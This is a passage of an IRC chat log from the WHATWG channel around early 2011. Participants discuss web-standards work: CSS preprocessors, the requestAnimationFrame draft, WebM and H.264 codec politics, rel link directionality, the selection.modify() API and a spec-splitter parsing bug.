out of curiosity, anyone knows who is maintaining the @html5 account on twitter?

[17:23:00.0000] <TabAtkins>
Dunno.

[17:27:00.0000] <benschwarz>
Rik`: Hixie, I think

[17:28:00.0000] <TabAtkins>
No, Hixie doesn't touch that one.

[17:28:01.0000] <Rik`>
that looks like a very marketing thing for Hixie :)

[17:29:00.0000] <TabAtkins>
All right, formatting cleanup for Lists is *done*.  Time to commit, then work on actual changes.

[17:32:00.0000] <jamesr____>
TabAtkins: when defining an algorithm with numbered steps, how do you mark it up? if i just use <ol> and <li> then how do i say something like "go to step 4" without manually updating that whenever i change the list?

[17:32:01.0000] <TabAtkins>
I use ol, and manually update when I change the list.

[17:32:02.0000] <Hixie>
Rik`: MikeSmith

[17:33:00.0000] <TabAtkins>
Alternately, use ol, but name the important steps, and then refer to steps by name.

[17:33:01.0000] <uf02>
TabAtkins: question for you, how long do you think till they implement variables, mixins, nesting inside CSS3 or 4?

[17:33:02.0000] <uf02>
I mean realistically

[17:33:03.0000] <uf02>
I know you guys are working on it

[17:33:04.0000] <Rik`>
Hixie: thanks

[17:34:00.0000] <TabAtkins>
uf02: We're working on it now, so experimental implementations should hit the tree in some time period measurable in months.  If everything goes nicely, other browsers could have experimental implementations by the end of the year.  But this is all speculation.

[17:34:01.0000] <heycam>
jamesr____, the xslt thingo I use for Web IDL uses some processing instructions to reference step numbers

[17:34:02.0000] <TabAtkins>
Good thing is, all of that stuff is syntax sugar, so you can use a preprocessor immediately and get all the benefits.

[17:34:03.0000] <heycam>
to reference steps, that is

[17:35:00.0000] <uf02>
TabAtkins: the only thing I don't like about preprocessor is that is Ruby based

[17:35:01.0000] <uf02>
don't get me wrong SASS is effin great

[17:35:02.0000] <uf02>
but compiling is annoying

[17:35:03.0000] <uf02>
versusing just having editor you like and writing and boom

[17:35:04.0000] <uf02>
done.

[17:36:00.0000] <uf02>
I can't wait till you guys implement it because it will be heaven for guy like me

[17:36:01.0000] <TabAtkins>
uf02: Yeah, but that's what you'll have to do.  Even if all browsers added the new features tomorrow, you'd have to wait until all older browsers were insignificant.  These features don't really play nicely with backwards compat.

[17:36:02.0000] <TabAtkins>
SASS has a mode where it can watch for changes and automatically/transparently compile for you, you know.

[17:37:00.0000] <uf02>
what if they built something like jQuery for SASS

[17:37:01.0000] <uf02>
so it's automatic :)

[17:37:02.0000] <uf02>
and all you have to do is add a JS file

[17:38:00.0000] <uf02>
kind of what jquery is to js

[17:38:01.0000] <Yuhong>
Posted this to Slashdot:

[17:38:02.0000] <Yuhong>
http://slashdot.org/comments.pl?sid=1970938&cid=35039752

[17:38:03.0000] <TabAtkins>
That introduces latency to your page - the user won't see the right stuff until the CSS and JS have both loaded, the JS has parsed and recompiled the sheet, and the new CSS the JS inserted into the page is loaded.

[17:39:00.0000] <uf02>
yea I figured that, was just looking for an easier way to use preprocessor out the bat

[17:39:01.0000] <uf02>
well.. will have to wait

[17:39:02.0000] <uf02>
but at least you guys are working onit

[17:39:03.0000] <TabAtkins>
Or learn to love Ruby.

[17:40:00.0000] <uf02>
right.

[17:42:00.0000] <uf02>
I do wonder, what's your preference.. SASS or LESS ?

[17:42:01.0000] <Yuhong>
Basically the history of CSS support in IE.

[17:42:02.0000] <TabAtkins>
I used to like LESS, solely because it was closer to CSS syntax.  But LESS made a lot of bad decisions that SASS did right, and now that SASS has their SCSS syntax which is close to real CSS syntax, I think it's much better.

[17:43:00.0000] <TabAtkins>
That said, i've never used a preprocessor.

[17:43:01.0000] <uf02>
heh that's interesting. why not?

[17:43:02.0000] <uf02>
never used it but likes SASS more

[17:43:03.0000] <TabAtkins>
Never felt the need to.  I do all my development in a text editor.

[17:44:00.0000] <uf02>
gotcha

[17:44:01.0000] <erlehmann>
Yuhong, i am actually preparing a panel for a german conference on the topic of if this is the right way to make a standard

[17:45:00.0000] <Yuhong>
It took a lot of thinking and research to for me to figure it all out.

[17:47:00.0000] <erlehmann>
fun fact: i know no one who is a) clever enough for a panel b) too dumb to realize that defending apples move against ogg, webm etc. makes them an acceptable target for trolling

[17:48:00.0000] <TabAtkins>
You already tried Gruber?

[17:51:00.0000] <Rik`>
to my knowledge, we haven't seen Apple moving against ogg or webm

[17:51:01.0000] <erlehmann>
TabAtkins, it is in germany. i tried the german pendant, tim pritlove.

[17:52:00.0000] <Rik`>
Apple is well known for not commenting stuff before shipping them

[17:52:01.0000] <Rik`>
(which also means they are not commenting on stuff they will not implement)

[17:53:00.0000] <gsnedders>
Rik`: I think the assumption is they would've been on stage at Google I/O last year if they were going to.

[17:53:01.0000] <gsnedders>
Rik`: Instead of letting themselves/Moz/Op take the spotlight

[17:53:02.0000] <erlehmann>
https://secure.wikimedia.org/wikipedia/en/wiki/Tim_pritlove

[17:53:03.0000] <Rik`>
gsnedders: Have you ever seen Apple going to announce something with other companies?

[17:54:00.0000] <Rik`>
(ok, Verizon recently but there is a lot of money on the table)

[17:55:00.0000] <gsnedders>
Rik`: It seems unlikely they'd leave such a delay

[17:56:00.0000] <Rik`>
no hardware decoding available means they won't ship it

[17:56:01.0000] <erlehmann>
Rik`, how is jobs take on ‘“there is a patent pool being assembled” and “every video codec is patented” no move against open codecs?

[17:57:00.0000] <gsnedders>
Rik`: Are we sure? Does the iPhone use a DSP?

[17:57:01.0000] <gsnedders>
*a locked DSP

[17:57:02.0000] <jamesr____>
heycam: in your spec you say that the UA must add a requestAnimationFrame callback to the list if the callback is not already in the list. why exclude duplicates?

[17:57:03.0000] <erlehmann>
Rik`, “hardware” decoding usually happens in DSPs, special processors suited for the task.

[17:57:04.0000] <jamesr____>
heycam: if i do setTimeout(foo, 10); setTimeout(foo, 10); then i expect 'foo' to be invoked twice

[17:57:05.0000] <Rik`>
erlehmann: you're talking about a report of mail attributed to jobs

[17:58:00.0000] <Rik`>
there are a lot of fake reported mails

[17:58:01.0000] <gsnedders>
erlehmann: The DSPs used in lots of phones have embedded ROM in them which they execute, so once shipped you can't change what the DSP does.

[17:58:02.0000] <Rik`>
gsnedders: that's beyond my knowledge and competence

[17:59:00.0000] <Rik`>
gsnedders: but the spotlight you're talking about is very very very small

[17:59:01.0000] <heycam>
jamesr____, not sure, looking

[17:59:02.0000] <erlehmann>
gsnedders, oh. i thought you could upgrade the firmware ._.

[17:59:03.0000] <gsnedders>
Rik`: I wouldn't be surprised if it was entirely possible for them to implement hardware decoding for existing devices.

[17:59:04.0000] <Rik`>
maybe it is possible

[17:59:05.0000] <erlehmann>
even if it was, this isn't the deciding factor

[18:00:00.0000] <erlehmann>
and every single one of you knows it

[18:00:01.0000] <gsnedders>
erlehmann: On a lot of phones it's separate to the ROM the actual phone's firmware is stored in, and isn't reprogrammable

[18:00:02.0000] <Rik`>
but assuming that Apple is not gonna ship WebM in the future when they said nothing about it feels weird to me

[18:00:03.0000] <erlehmann>
gsnedders, :/

[18:00:04.0000] <Rik`>
erlehmann: what is the deciding factor ?

[18:00:05.0000] <heycam>
jamesr____, yeah I'm not sure why that's there, can't think of a good reason.

[18:01:00.0000] <jamesr____>
heycam: also, why are these "methods"? is that the IDL term?

[18:01:01.0000] <erlehmann>
Rik`,  your sceptic argument goes like: you cannot know not-X. therefore, X is possible. i will not fall for that.

[18:01:02.0000] <erlehmann>
also, politics.

[18:02:00.0000] <heycam>
jamesr____, hmm no the IDL term is "operation"

[18:02:01.0000] <jamesr____>
whatwg seems to define things as 'method's

[18:02:02.0000] <jamesr____>
i'm looking at the setTimeout() definition

[18:02:03.0000] <heycam>
ok

[18:02:04.0000] <heycam>
method is a nicer name than operation

[18:02:05.0000] <Rik`>
erlehmann: Microsoft said they were giving more money to MPEG LA than receiving

[18:02:06.0000] <erlehmann>
Rik`, does the fact that apple did not announce support for 12 feet robots with furry paws raise the possibility that they will ship said bots?

[18:03:00.0000] <jamesr____>
definitely

[18:03:01.0000] <Rik`>
I think Apple or someone else reported that it was the same for Apple

[18:03:02.0000] <heycam>
maybe I should change do s/operation/method/g in Web IDL

[18:03:03.0000] <othermaciej>
MPEG LA is definitely not a revenue source for us, it is a cost center

[18:03:04.0000] <Rik`>
othermaciej: do you have a neutral link for that ?

[18:04:00.0000] <Rik`>
so everytime I read "Apple has invested so much in H264", I'm thinking that every year it costs Apple a lot of money so they wouldn't be reluctant to use a patent free format

[18:04:01.0000] <othermaciej>
I don't think Apple publishes financials to that degree

[18:05:00.0000] <Rik`>
I'm also thinking that Apple is very fast to introduce new technologies/formats and ditch previous ones

[18:05:01.0000] <erlehmann>
I want a T-Shirt with “My name is MPEG LA and i hate every single one of you.”

[18:05:02.0000] <Rik`>
and I'm also thinking that checking if WebM is not a legal threat is not a quick task

[18:07:00.0000] <erlehmann>
Rik`, good that there is a company whose main business revolves around searching for stuff *hint, hint*

[18:07:01.0000] <erlehmann>
btw: i heard, they also have a patent search ;)

[18:08:00.0000] <TabAtkins>
I don't think our servers are well-designed to do legal searches.

[18:08:01.0000] <gsnedders>
Rik`: You'll never know if something is a legal threat or not until you ship, pretty mufch

[18:08:02.0000] <erlehmann>
shippers gonna ship!

[18:08:03.0000] <othermaciej>
checking if a complicated technology is a legal threat is not in any way fast or easy

[18:10:00.0000] <Rik`>
anyway, there is only two possible scenarios now

[18:10:01.0000] <Rik`>
either everyone moves to WebM

[18:10:02.0000] <erlehmann>
or only some do.

[18:10:03.0000] <erlehmann>
hehehe

[18:10:04.0000] <Rik`>
or MEPG LA is threatened enough by WebM that they make parts of H264 patent free

[18:11:00.0000] <erlehmann>
the word you are looking for is “royalty free”

[18:11:01.0000] <benschwarz>
Hixie: paul_irish made the search not scroll…

[18:11:02.0000] <gsnedders>
Rik`: Or MPEG LA think that IE/Safari supporting it is enough.

[18:11:03.0000] <Rik`>
erlehmann: you're right, sorry

[18:11:04.0000] <erlehmann>
n/p

[18:12:00.0000] <Rik`>
gsnedders: Firefox + Chrome + Opera is at least 40% of internet users in every country so that's not a plausible scenario

[18:13:00.0000] <erlehmann>
south korea disagrees

[18:14:00.0000] <jamesr____>
heycam: ok, i've got something. now to find some decent web hosting to throw it up on...

[18:16:00.0000] <erlehmann>
Rik`, http://blog.mozilla.com/gen/2010/02/24/no-choice-insouth-korea/

[18:17:00.0000] <Rik`>
gsnedders: MPEG LA already changed the end of the free licensing fees because of the pressure Theora/WebM put on them

[18:18:00.0000] <Rik`>
erlehmann: yeah I know, but this is the exception, not the rule

[18:18:01.0000] <heycam>
jamesr____, cool.

[18:18:02.0000] <heycam>
/me out for a while

[18:18:03.0000] <erlehmann>
gsnedders, count your chickens when they are hatched.

[18:18:04.0000] <erlehmann>
no, i meant Rik`

[18:19:00.0000] <erlehmann>
sorry

[18:19:01.0000] <gsnedders>
/me vanishes off to bed

[18:19:02.0000] <erlehmann>
Rik`, status quo is: apple has the only modern browser not supporting something. conjecturing does not help.

[18:19:03.0000] <Rik`>
the only modern browser not supporting something ?

[18:20:00.0000] <erlehmann>
Rik`, royalty-free codecs in <audio> and <video>?

[18:20:01.0000] <Rik`>
like with IE9, you can install codecs for the media framework of the os

[18:21:00.0000] <Rik`>
you can insall a xiph plugin for quicktime that will play vorbis and theora stuff

[18:21:01.0000] <Rik`>
and I believe Perian has a WebM quicktime plugin in the making

[18:22:00.0000] <erlehmann>
Rik`, we had “whatever codec is installed” for years, with <object>

[18:22:01.0000] <Rik`>
I know, that's useless

[18:22:02.0000] <erlehmann>
or was it <embed>?

[18:23:00.0000] <Rik`>
but saying that Apple will never ship WebM only six months after it was introduced is not serious

[18:24:00.0000] <Rik`>
I mean Firefox is not yet supporting it

[18:25:00.0000] <erlehmann>
Rik`, count the evidence for that they will ship it in another six months. does it seem likely?

[18:25:01.0000] <Rik`>
Android is only supporting it for one or two months

[18:25:02.0000] <jamesr___>
heycam: http://webstuff.nfshost.com/Overview.html

[18:25:03.0000] <Rik`>
in another six months ? maybe in desktop safari, no way in mobile safari

[18:25:04.0000] <jamesr___>
basically it's what you have except for the following:

[18:26:00.0000] <jamesr___>
1.) removed the requirements for updating native animations since i don't think they are implementable. user agents will not be updating native animations on the main thread, so you can't define their updates in terms of steps on the main message loop

[18:26:01.0000] <Rik`>
but I'd say they won't implement it on desktop safari if they can't implement it on mobile

[18:26:02.0000] <jamesr___>
2.) added an element parameter to requestAnimationFrame() for visibility checks

[18:27:00.0000] <jamesr___>
3.) added a setTimeout()-style handle as a return value for request..() and added a clear() to mimic setTimeout()

[18:27:01.0000] <jamesr___>
4.) updated the 'invoke the callbacks' algorithm to take the visibility checks and cancellation into account

[18:28:00.0000] <erlehmann>
Rik`, your argument is moot. i will go to sleep. in before mootles :3

[18:44:00.0000] <Hixie>
http://wetzler.me/dropbox-syncplicity/ applies to HTML too. Whence the 80% rule.

[22:29:00.0000] <heycam>
jamesr___, /Overview.html seems to be the makefile, but /Overview.xml worked

[23:15:00.0000] <benschwarz>
Hixie: Are you able to poke the whatwg server? port 22/ssh isn't responding

[02:25:00.0000] <matjas>
TabAtkins: +2 internets to you, kind Sir.

[03:36:00.0000] <annevk>
oh look

[03:36:01.0000] <annevk>
http://twitterfeed.com/ is what TabAtkins is using for CSS

[03:36:02.0000] <annevk>
I guess we should just use that for the WHATWG blog

[03:36:03.0000] <annevk>
the other features are not really relevant

[04:11:00.0000] <zcorpan>
MikeSmith: <ul><li><a><li></ul> only says "Error: Unclosed elements inside a list."

[05:07:00.0000] <matjas_>
TabAtkins: any chance of including the link to the relevant thread on http://lists.w3.org/Archives/Public/public-css-commits/ for each item in the feed?

[06:04:00.0000] <phrearch>
hi

[09:30:00.0000] <webr3>
okay, I must be being thick - where's the startConversation method of web workers defined?

[09:30:01.0000] <gsnedders>
webr3: startConversation? There is no such thing…

[09:31:00.0000] <webr3>
that's what i thought, but the demo uses it :s and it's not defined in the worker lib either

[09:31:01.0000] <webr3>
see source: http://www.whatwg.org/demos/workers/crypto/page.html

[09:32:00.0000] <webr3>
it's not defined on page or in lib ( http://www.whatwg.org/demos/workers/crypto/libcrypto-v1.js )

[09:32:01.0000] <webr3>
has been in the spec for ages too, but not defined, just in the code of the example,a nd the example works - totally confused me

[09:34:00.0000] <webr3>
see also: http://www.mail-archive.com/whatwg⊙lwo/msg12099.html from 2008 "more powerful api"

[09:37:00.0000] <webr3>
ahh.. the demo's screwed too - var crytoLib (missing p) - and .startConversation is undefined (as it should be i guess) spec/demo code may need an update...

[13:47:00.0000] <webr3>
how would one approach jailing the js environment in the browser (other than web workers)? (basically ecmascript only)

[14:04:00.0000] <Philip`>
webr3: Sounds like http://code.google.com/p/google-caja/

[14:06:00.0000] <webr3>
cheers - and wow, I've not seen "DHTML" referenced in a v long time!


2011-01-30
[16:12:00.0000] <AryehGregor>
Hixie, why drop the syntax sugar for walking the keys of a Storage object?

[16:12:01.0000] <AryehGregor>
Syntax sugar is nice.

[19:05:00.0000] <Hixie>
AryehGregor: because it only saved 4 characters anyway, it was inconsistent in setting and getting, only 1 browser out of 5 implemented it, and what the other browsers did is not compatible (they couldn't implement it without potentially breaking content that assumed their behaviour).

[02:29:00.0000] <Figaroo>
Hi all

[02:31:00.0000] <benjoffe>
it seems adding an link with the 'tel:' attribute will annoy more users than it will help, as desktop browser that can't handle it still render the link clickable

[02:33:00.0000] <sholmes>
that is, when a new line is created and overflows the element's height, the text should have an ellipsis

[02:33:01.0000] <sholmes>
You know what I'm saying?

[02:34:00.0000] <sholmes>
wait my last message didn't go through.

[02:34:01.0000] <sholmes>
Is it possible to use text-overflow for text that overflows the height?

[05:16:00.0000] <annevk>
Opera has an extension for that ellipsis problem...

[09:18:00.0000] <webr3>
true? -> "In HTML5, rel and rev are no-longer paired, and the rel attribute no longer describes the direction of a relationship. Microformats which use rev will need to use rel instead."

[09:19:00.0000] <webr3>
rel no longer has directionality, as in "currentdoc rel href" as a typed directed link is no longer the case, and rel is some generic relation between the two uris, such that "A rel B" and "B rel A" both hold as true

[09:34:00.0000] <annevk>
webr3, there's no rev

[10:18:00.0000] <webr3>
annevk, yup i know there's no rev, but what about directionality, and how do you actually do a reverse link?

[10:19:00.0000] <webr3>
well, no rev in the draft html 5 / living standard spec, well there is it's mentioned in a few places, but shouldn't be used, but when it is, it's catered for, in some places

[10:19:01.0000] <Philip`>
rel is directional, and you can do a reverse link by using a rel keyword with the opposing meaning

[10:19:02.0000] <webr3>
okay, so directionality is based on the property used in the rel ya?

[10:20:00.0000] <Philip`>
Yes, that defines the directionality of the meaning

[10:21:00.0000] <Philip`>
e.g. rel="next" says the linked page is next after the current one, and rel="prev" says it's previous to the current one

[10:22:00.0000] <Philip`>
so instead of rev="next" you can use rel="prev", etc

[10:22:01.0000] <webr3>
A next B infers B prev A

[10:22:02.0000] <Philip`>
which is typically less confusing (people use rev wrongly about as often as they use it correctly)

[10:24:00.0000] <webr3>
and some are bidirectional i assume? alternate for example?

[10:25:00.0000] <webr3>
what's the inverse of author?

[10:27:00.0000] <webben>
webr3: The inverse of author is to add a rel="author" back from the authored page to the author page.

[10:36:00.0000] <AryehGregor>
Hmm.  I should have tested extend() with diacritics.

[10:39:00.0000] <AryehGregor>
Thankfully Firefox is sane and treats the offsets as corresponding to characters (or maybe code units?) and not grapheme clusters.

[10:39:01.0000] <AryehGregor>
But modify() still works on grapheme clusters.

[10:39:02.0000] <AryehGregor>
At least with "character".

[10:40:00.0000] <AryehGregor>
Seems like it's all code units.

[10:45:00.0000] <AryehGregor>
Okay, so in WebKit all Range boundary points have to fall on grapheme cluster boundaries, it looks like . . . that seems bad.

[10:45:01.0000] <AryehGregor>
/me goes with Firefox and the current spec on that point

[10:58:00.0000] <Philip`>
Does "grapheme cluster boundaries" mean "code unit boundaries after NFC normalisation"?

[10:58:01.0000] <Hixie>
no

[11:01:00.0000] <Ms2ger>
So, what should happen to cx.createImageData("1", "2")?

[11:01:01.0000] <AryehGregor>
Philip`, no, because a character and its diacritics count as one grapheme cluster even if there's no composed form.

[11:01:02.0000] <AryehGregor>
In fact, UAX29 defines everything in terms of NFD.

[11:07:00.0000] <Philip`>
Ms2ger: It should teach API designers the foolishness of typed-based overloading in a dynamically-typed language

[11:07:01.0000] <Ms2ger>
I was actually hoping you'd write a test ;)

[11:07:02.0000] <Philip`>
and then it should do whatever the convoluted algorithms in WebIDL say it should do, unless WebIDL is wrong

[11:08:00.0000] <Philip`>
(Maybe WebIDL just looks at the number of arguments and ignores the types?)

[11:08:01.0000] <Philip`>
(Hmm, no, it can't do that)

[11:08:02.0000] <Philip`>
/me shrugs

[11:15:00.0000] <webr3>
webben, you you're saying that on an html page if I do "A author B" then it infers that "B is author of A" and if I do "A author B" on another page (the authors page) then it infers that "A is author of B"

[11:22:00.0000] <AryehGregor>
/me just rewrote everything in DOM Range like "If the position of new start relative to the context object's end is after" to something like "If new start is after the context object's end"

[11:23:00.0000] <AryehGregor>
I love the convention of making normal words mean magical stuff by making them hyperlinks.

[11:25:00.0000] <Philip`>
Sounds like you're one of those fancy modern programmers who likes using subroutines

[11:26:00.0000] <Philip`>
/me doesn't think they'll catch on - much better to be explicit and write everything out in full each time

[11:31:00.0000] <Ms2ger>
Who uses functions anyway?

[11:45:00.0000] <zcorpan>
hsivonen: the validator could maybe give a clearer message if you put body stuff in head

[11:45:01.0000] <zcorpan>
http://validator.nu/?doc=http%3A%2F%2Fdevelopers.whatwg.org%2F

[11:46:00.0000] <hsivonen>
zcorpan: yeah. grammars strike again

[11:46:01.0000] <zcorpan>
hsivonen: but you could do something in the html parser, no?

[11:47:00.0000] <hsivonen>
zcorpan: do you mean error 6 and keeping track of whether body was implied?

[11:47:01.0000] <zcorpan>
hsivonen: e.g. when you see </head> or <body> but body was implied, emit a warning saying which token implied body and say it should be moved into the body or so

[11:47:02.0000] <zcorpan>
yeah

[11:48:00.0000] <hsivonen>
ok. that's doable

[11:51:00.0000] <zcorpan>
should i file a bug?

[11:57:00.0000] <hsivonen>
zcorpan: that would be nice

[11:59:00.0000] <webben>
webr3: No.

[12:00:00.0000] <webben>
webr3: I'm saying there isn't a registered inversion of author

[12:01:00.0000] <webben>
webr3: Nobody's registered authoredby or anything like that.

[12:04:00.0000] <AryehGregor>
Hixie, okay, so do you really want me to try figuring out what things like "sentenceboundary" mean?  I assume that's got to be left mostly platform-specific anyway.

[12:05:00.0000] <AryehGregor>
I'm not sure what parts we'd want to spec here.  Ideally not too vague . . .

[12:07:00.0000] <AryehGregor>
But I can't see how to realistically be specific.

[12:08:00.0000] <AryehGregor>
I'm thinking stuff like "paragraphboundary: The beginning or end of a paragraph, where a paragraph might correspond to the text selected when the user triple-clicks (on platforms using that convention)."  I.e., enough to give you an idea, not much more.

[12:10:00.0000] <webr3>
webben, looks like you're seeing author as it's inversion, { <page> author <person> } means <person> is the author of <page>, <link rel="author" href="<person>" /> - I'm looking for the inverse of that, which would be "author of" in english, not "authored by" - "authored by" is the meaning of the "author" rel

[12:11:00.0000] <webben>
webr3: Sorry, yeah I mean pageauthoredby or work or something.

[12:11:01.0000] <webben>
webr3: Anyway nobody's registered what you want, so if you want it, define and register it I guess.

[12:12:00.0000] <webr3>
that process is going to have to be repeated for every rel, which is a shame

[12:14:00.0000] <webben>
/me shrugs.

[12:17:00.0000] <Ms2ger>
webr3, that's assuming we need all reverse relationships. The fact that rev has never taken off suggests we don't

[12:33:00.0000] <Hixie>
AryehGregor: if it's an API, i don't see how ti can be anything but strictly defined

[12:33:01.0000] <Hixie>
AryehGregor: otherwise people will use the API and get different results

[12:34:00.0000] <AryehGregor>
Hixie, because selection.modify("extend", "right", "line") is meant to mimic the effect of Shift+Down, for instance.  In particular, its effect depends on things like where lines are broken and what font is used.

[12:34:01.0000] <AryehGregor>
There's no way we can spec that unless CSS is specced pixel-perfect.

[12:35:00.0000] <AryehGregor>
Logically, this is a visual API, not a DOM one.

[12:35:01.0000] <AryehGregor>
(the modify() part is, I mean)

[12:35:02.0000] <AryehGregor>
(extend() can be defined in terms of DOM alone, although WebKit seemingly doesn't implement it that way)

[12:36:00.0000] <AryehGregor>
Also, we want modify("extend", "right", "character") to depend on the definition of a grapheme cluster, which isn't really defined anywhere and should defer to how the platform behaves when the user does Shift+Right anyway.

[12:37:00.0000] <AryehGregor>
Similarly modify("extend", "right", "word") == Ctrl+Shift+Right, etc.

[12:43:00.0000] <benschwarz>
zcorpan: thanks for the bug report

[12:45:00.0000] <zcorpan>
benschwarz: thanks for fixing it :)

[12:46:00.0000] <zcorpan>
oh you meant the newest bug

[12:47:00.0000] <benschwarz>
one at a time :)

[12:47:01.0000] <benschwarz>
I have no idea why the spec splitter is doing that right now

[12:47:02.0000] <benschwarz>
I actually had a brief look over the weekend

[12:47:03.0000] <benschwarz>
no idea

[12:49:00.0000] <zcorpan>
Philip`: ^

[12:50:00.0000] <Philip`>
Doing what?

[12:51:00.0000] <benschwarz>
Philip`: we have a <header class="head"> in the developer spec. The spec splitter seems to place it inside <head>

[12:55:00.0000] <benschwarz>
really it should be <header role="banner">, but thats another story :)

[12:56:00.0000] <zcorpan>
role=banner is implied by <header> no?

[12:56:01.0000] <zcorpan>
or maybe that was dropped

[12:56:02.0000] <benschwarz>
zcorpan: if its at the top level… I think

[12:57:00.0000] <zcorpan>
seems spec says header has no implied role but banner is allowed

[12:57:01.0000] <zcorpan>
...to be specified

[12:59:00.0000] <Philip`>
benschwarz: What's the input file?

[12:59:01.0000] <Philip`>
Also, what version of the spec-splitter?

[13:00:00.0000] <Philip`>
Also, what command-line arguments?

[13:00:01.0000] <benschwarz>
ttp://www.whatwg.org/specs/web-apps/current-work/dev-index

[13:00:02.0000] <benschwarz>
only --html5lib-serialiser

[13:01:00.0000] <Hixie>
AryehGregor: that's why this is hard

[13:01:01.0000] <Hixie>
AryehGregor: doesn't mean we don't define it :-)

[13:01:02.0000] <volkmar>
someone remembers why all attribute float changed to attribute double?

[13:01:03.0000] <Hixie>
AryehGregor: there's nothing wrong with referencing CSS in these definitions

[13:02:00.0000] <benschwarz>
Philip`: as for version… its HEAD about a week about

[13:02:01.0000] <benschwarz>
ago

[13:02:02.0000] <benschwarz>
Hixie: good morning :)

[13:02:03.0000] <Hixie>
hey ben

[13:03:00.0000] <benschwarz>
Hixie: we have rudimentary offline support and search…

[13:03:01.0000] <Hixie>
cool

[13:03:02.0000] <AryehGregor>
Hixie, we can't get script-testable interop anyway.  Things like line breaking aren't specced.  CSS itself doesn't define word or character boundaries for the purposes of things like :first-letter.

[13:03:03.0000] <AryehGregor>
Besides, the whole point of the API is to match what the user does when they hit arrow keys and so on, which is inherently platform- and browser-dependent.

[13:04:00.0000] <benschwarz>
I need to roll to the office. First day back for this client

[13:04:01.0000] <AryehGregor>
Using uniform definitions that don't match what browsers do for normal user interaction defeats the point of the API, and I doubt browsers would implement it.

[13:04:02.0000] <erlehmann>
the whatwg logo. is there a canonical svg version?

[13:04:03.0000] <benschwarz>
Philip`: it looks like http://www.whatwg.org/specs/web-apps/current-work/dev-index is missing a <HEAD> to begin with…

[13:05:00.0000] <AryehGregor>
/me solicits Ms2ger's opinion

[13:05:01.0000] <Ms2ger>
Present, sir!

[13:05:02.0000] <Hixie>
AryehGregor: at least "line", "paragraph", "line boundary", and "document boundary" are completely definable

[13:05:03.0000] <Hixie>
AryehGregor: looks like a lot of the others aren't interoperably implemented anyway and maybe shouldn't be defined

[13:05:04.0000] <AryehGregor>
Hixie, are they?  "Line" depends on line-breaking, which isn't interoperable.

[13:06:00.0000] <Philip`>
benschwarz: The head start tag is optional

[13:06:01.0000] <Ms2ger>
Not interoperable, but still definable

[13:06:02.0000] <Hixie>
AryehGregor: just define it in whatever terms CSS uses so that as we fix CSS it'll become interoperable

[13:06:03.0000] <Philip`>
benschwarz: I'm wondering whether your version of lxml is accidentally parsing the header as inside the head, or something

[13:06:04.0000] <erlehmann>
found it http://lists.w3.org/Archives/Public/www-archive/2009Apr/att-0042/logo.svg

[13:06:05.0000] <Hixie>
AryehGregor: e.g. use the same wording for letter boundaries as ::first-letter, or whatnot

[13:07:00.0000] <benschwarz>
Philip`: in the real world, everyone uses a <head>

[13:07:01.0000] <Hixie>
AryehGregor: same wording for word boundaries as text-transform:capitalise

[13:07:02.0000] <AryehGregor>
Hixie, so how do I work CSS into it?  Does CSS have any notion of mapping between line boxes and the parts of the DOM they represent?

[13:07:03.0000] <AryehGregor>
IIRC, CSS just doesn't define those.  :)

[13:07:04.0000] <benschwarz>
so despite the fact that its optional. most people expect them

[13:07:05.0000] <AryehGregor>
It makes more sense to informatively reference UAX#29.

[13:07:06.0000] <Hixie>
AryehGregor: start reading and learning the css2.1 spec :-)

[13:07:07.0000] <AryehGregor>
I have . . . it's horrifyingly vague.

[13:08:00.0000] <benschwarz>
maybe all I have to do is plead with Hixie to add a <head> :)

[13:08:01.0000] <Philip`>
benschwarz: Hmm, did you modify the splitter so the serialiser outputs explicit <head> etc?

[13:08:02.0000] <Philip`>
(It doesn't seem to do that by default)

[13:08:03.0000] <Hixie>
benschwarz: dev-index is generated by anolis

[13:09:00.0000] <AryehGregor>
Look at this, it just doesn't define line boundaries at all: http://www.w3.org/TR/CSS21/selector.html#first-line-pseudo

[13:09:01.0000] <AryehGregor>
There's nothing to reference.

[13:09:02.0000] <Hixie>
benschwarz: but <head> is optional, the element is still there even if the tag isn't

[13:09:03.0000] <Hixie>
benschwarz: so so long as you're using a conforming parser you should be fine

[13:09:04.0000] <Hixie>
AryehGregor: for line boxes you want chapters 8, 9 and 10 iirc, not ::first-line

[13:10:00.0000] <AryehGregor>
I've read those before.

[13:10:01.0000] <AryehGregor>
I don't see how they're useful.

[13:10:02.0000] <Philip`>
benschwarz: Where does the <link rel="stylesheet" href="/css/master.css"> come from?

[13:12:00.0000] <AryehGregor>
I think I should ask the people implementing this what sort of description they'd like to see.

[13:12:01.0000] <Hixie>
AryehGregor: they define how the display boxes (line boxes, inline boxes, line-wrapping, etc) are done

[13:12:02.0000] <benschwarz>
Philip`: I add it in postprocessing

[13:12:03.0000] <Philip`>
Added how?

[13:13:00.0000] <Philip`>
I would guess your postprocessing tools are probably using non-HTML5-conforming parsers

[13:13:01.0000] <Philip`>
and are failing to correctly imply a <body> start tag when they see the <header> start tag

[13:13:02.0000] <Philip`>
since the splitter seems to be working correctly, as far as I can tell

[13:14:00.0000] <benschwarz>
hmm

[13:14:01.0000] <benschwarz>
let me verify

[13:14:02.0000] <Philip`>
(lxml looks okay to me)

[13:14:03.0000] <benschwarz>
Philip`: lxml would've been okay for many versions by now

[13:15:00.0000] <AryehGregor>
I'll send an RFC to whatwg.

[13:15:01.0000] <Ms2ger>
Not the IETF?

[13:16:00.0000] <benschwarz>
you must be right Philip`

[13:16:01.0000] <Philip`>
The splitter outputs <html ...><title>...</title><!-- ... --><meta ...> <script src="link-fixup.js"></script> <header class="head"> ...

[13:16:02.0000] <Philip`>
which is perfectly valid and means the header element is inside the body element

[13:16:03.0000] <benschwarz>
The parser I'm using is nokogiri, which is uses on libxml2…

[13:17:00.0000] <benschwarz>
due to the amount of postprocessing I'm doing, a <head> would be useful anyway…

[13:18:00.0000] <Philip`>
Add omit_optional_tags=False in the splitter's HTMLSerializer line if you want nothing omitted

[13:21:00.0000] <benschwarz>
Thanks Philip` I will try that

[13:21:01.0000] <benschwarz>
now… I need to leave for the office

[13:21:02.0000] <benschwarz>
or else I'll be late :)

[13:23:00.0000] <benschwarz>
Philip`: hmm. header still in the head

[13:23:01.0000] <benschwarz>
I'll keep trying to diagnose it later…

[13:23:02.0000] <benschwarz>
thanks for the heads up

[15:30:00.0000] <AryehGregor>
Is any version of .innerText specced anywhere?

[15:32:00.0000] <gsnedders>
No

[15:33:00.0000] <AryehGregor>
Yay.

[15:33:01.0000] <AryehGregor>
I assume it's unreasonably complicated.

[15:34:00.0000] <gsnedders>
It's more complex than it seems at face-value, IIRC

[15:34:01.0000] <gsnedders>
